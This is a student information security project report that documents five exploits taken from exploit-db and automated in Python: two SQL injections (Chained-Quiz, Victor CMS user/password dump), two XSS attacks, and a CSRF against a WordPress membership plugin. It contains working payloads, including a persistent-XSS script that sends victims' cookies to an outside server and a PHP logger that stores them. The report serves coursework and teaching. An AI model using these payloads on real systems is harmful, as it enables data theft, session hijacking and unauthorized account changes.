Information Security Project

Giacomo Melacini 15724

Matteo Messmer 15725

Academic Year 2019-2020

Table of Contents

Introduction

This project aims to exploit different applications applying different kind of attacks. We searched for possible vulnerabilities in *exploitdb* and decided to proceed with two SQL Injections, two XSS attacks and one CSRF attack. In order to automatize the exploit we developed a python application, *main.py*, containing the five exploits. The user is asked to input a target website which is automatically identified by the script. In order to correctly recognize what the target we took advantage of some peculiarities of the CMSs we exploited. These peculiarities can be in the *url,* meta tags and specific plugin pages. Once the script has identified the type of target, it asks which of the possible attacks the user wants to execute. After a vulnerability has been exploited, the user can decide whether to continue with another attack or to close the application.

Exploits

SQL-Injection

WordPress plugin Chained-Quiz SQL-Injection

Vulnerability description

The Chained-Quiz WordPress plugin lets the user create quiz where the next question depends on the answer of the previous one. This plugin, in the versions prior to 1.0.8 is vulnerable to time-based SQL injection.

Causes of vulnerability

This version of the plugin allows unauthorized users to execute SQL queries via the *answer* parameter. The problem lies on the *answer* backend variable.

Implementation

The provided version of the plugin is v0.8.7. In order for the exploit to work, the database on which WordPress runs must be mySQL.

When we submit the answer of a question via a POST request, we can inject SQL commands to the parameter *answer* to check which database the web-application is using.

We are going to inject the command SLEEP(15), that is a mySQL command. This means that if the application by reading the request will sleep 15 seconds, the underlying database will be a mySQL database.

The parameters that are being passed in the POST request are the following:

```
postdata = {
        "answer" : '1',
        "question_id" : 1,
        "quiz_id" : 1,
        "question_type" : "radio",
        "points" : 0,
        "action" : "chainedquiz_ajax",
        "chainedquiz_action" : "answer",
        "total_questions" : 1
       }
```

The payload will be inserted in the answer parameter and it will be the following:

```
"answer" : '1) AND (SELECT 8561 FROM (SELECT(SLEEP(5)))UzqU) AND (1071=1071'
```

The POST request is executed with the python library *requests*:

```
r = requests.post(url, data=postdata)
```

Victor CMS 1.0 'cat_id' SQL-Injection

Vulnerability description

The Victor CMS 1.0 is a simple Content Management System coded in PHP by Victor Alagwu and offered for free on his GitHub page. This CMS has various vulnerabilities (there are five listed on exploit-db.com), one of them is an SQL-Injection.

Causes of vulnerability

This CMS allows unauthorized users to execute SQL queries via the *cat_id* parameter, which is vulnerable to SQL Injection. The problem is in the category.php page which does not do the proper sanitization of the user input.

```
if (isset($_GET['cat_id'])) {
   $category = $_GET['cat_id'];
}
mysqli_real_escape_string($con,$category);
$query = "SELECT * FROM posts WHERE post_category_id=$category";
$run_query = mysqli_query($con, $query);
$count = mysqli_num_rows($run_query);
```

Implementation

The aim of this exploit is to retrieve sensitive information from the database. The data we are going to retrieve are personal data such as users' mails and passords, the database name and the verion of MySQL. These information should be kept private, but by exploiting the SQL Injection vulnerability by using the following payload, an attacker will be able to retrieve them.

```
"category.php?cat_id=-1+UNION+SELECT+user_id,user_firstname,user_name,randsalt,user_password,user_email,user_role,user_lastname,VERSION(),DATABASE()+FROM+users;+--"
```

In the cat_id paramether we injected a malicious query. It does not return any post because the id of the category is set to -1, but then we make the union with all the private data of the users. Of course the number of columns of both sides of the query has to be equal, otherwise an error will occur. In this case the columns on the left side are 10 so we make sure to make the union with 10 columns.

By submitting this request we would normally get a page listing all the posts that matches the query. But in the case of this payload the result will not list any post. What we will see instead are the user data in the place of the post data.

The python script automates the request and parses all the data into a list.

Cross-Site Scripting

CodeIgniter XSS scripting attack

Vulnerability description

CodeIgniter is a PHP framework to create web applications. The version prior to v2.1.2 are vulnerable to XSS scripting attacks.

Causes of vulnerability

The cause of the vulnerability lies on the function *xss_clean()*, that is a filter protection used to sanitize user inputs. The filter is not working correctly, therefore it is possible to execute a malicious script.

Implementation

The aim of this exploit is to launch a script rising an alert using the function *xss_clean()*. This function is used to sanitize the input of the form.

The payload is the following:

```
payload =  '<img/src=">" onerror=alert(1)>'
```

This payload is inserted as parameter of the POST request:

```
postdata = {
        "xss" : payload
       }
```

The request is then executed using the python library *requests* and the script is shown to be present in the answer of the request:

```
r = requests.post(url, data=postdata)

soup = BeautifulSoup(r.content, "html.parser")

print('Injected code:')
print()
print (soup.find('img'))
```

Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting

Vulnerability description

Another vulnerability of the Victor CMS is the Persistent XSS.

Causes of vulnerability

The vulnerability lies in the comment feature of the CMS. In every article of the website there is a form that allows everyone to post a comment. The problem is in the comment_author input, which is not correctly sanitized and lead to the XSS vulnerability. Moreover, since the comments are stored, the XSS is persistent.

Implementation

The aim of this exploit is to launch a script that steals the cookies of the users. To do this we prepared a javascript function that send the cookies of the victims to the attacker. This code is stored on our website and it is the following:

```
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "http://javariati.tk/matteo/InfoSec/savecookies.php", true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("cookies=" + document.cookie);
```

We also need a function that saves the cookies on a file. The savecookies.php logs all the cookies into a txt file on our server.

```
<?php
 header("Access-Control-Allow-Origin: *");
$cookies = $_POST["cookies"];
$myfile = file_put_contents('logs.txt', $cookies.PHP_EOL , FILE_APPEND | LOCK_EX);
?>
```

Now that the background for the attack is ready we have to inject the javascript function into a comment. When the visitors open the compromised page the cookies will be stolen without that they notice. The automatization is the following:

```
browser.open(url + "post.php?post=1")
browser.select_form(nr=0)

print()
print("Injecting the script")
browser.form['comment_author'] = '<script src="http://javariati.tk/matteo/InfoSec/attack.js"></script>Mario Rossi'
browser.form['comment_email'] = 'mario.rossi@gmail.com'
browser.form['comment_content'] = 'Nice'

req = browser.submit()
print("Form submitted, now all the cookies of the users who visit the page will be logged")
print("The log file is at http://javariati.tk/matteo/InfoSec/logs.txt")
```

Since the script that steals the cookies is on our website we can modify it as we want. In this way the malicious comment does not need to be changed to execute other code.

Cross Site Request Forgery

WordPress Plugin Simple Membership 3.8.4 - Cross-Site Request Forgery

Vulnerability description

The Simple Membership plugin lets the admin to add and manage members. This plugin, in the version 3.8.4, is vulnerable to CSRF attacks.

Causes of vulnerability

In the dashboard of the plugin there is a panel that lets the admin change all the roles of the members from a certain level to another. This function does not check whether the requests are being sent intentionally or not, so every request is accepted.

Implementation

We wanted to change the roles of the members from the value of 2 to 0. The level 2 should always exist, while the level 0 does not. The result should be that all the members who previously had the level 2 now does not have a role.

```
<html>
  <body>
    <form id="form" action="<?php print $_GET["url"];?>wp-admin/admin.php?page=simple_wp_membership&member_action=bulk" method="POST">
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;from" value="2" />
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;to" value="0" />
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;process" value="Bulk&#32;Change&#32;Membership&#32;Level" />
    </form>
  </body>
</html>
```

To create a CSRF attack we need a webpage that performs the malicious request when the admin visits it. This page is hosted on our website. The action is the target of attack which is passed as a parameter.

The automatization of this exploit simulates the admin logging into the website and then visiting the malicious page. The following code login into the admin profile:

```
sign_in = browser.open(url + "wp-login.php")

browser.select_form(nr = 0)
browser["log"] = "admin"
browser["pwd"] = "password"

logged_in = browser.submit()
logincheck = logged_in.read()
```

Once the admin is authenticated he has to visit our malicious page and submit the form:

```
browser.open("http://javariati.tk/matteo/InfoSec/CSRF.php?url=" + url)

browser.select_form(nr = 0)

browser.submit()
```

The url parameter is the url of the target. The effects of this attack can be seen in the table of the members.

References

CodeIgniter XSS attack: https://www.exploit-db.com/exploits/37521

GitHub Repository: https://github.com/matteomessmer/InformationSecurityProject

Victor CMS SQL Injection: https://www.exploit-db.com/exploits/48485

Victor CMS XSS: https://www.exploit-db.com/exploits/48484

WordPress plugin Chained-Quiz SQL-Injection: https://www.exploit-db.com/exploits/45221

WordPress Plugin Simple Membership 3.8.4 - Cross-Site Request Forgery: https://www.exploit-db.com/exploits/47182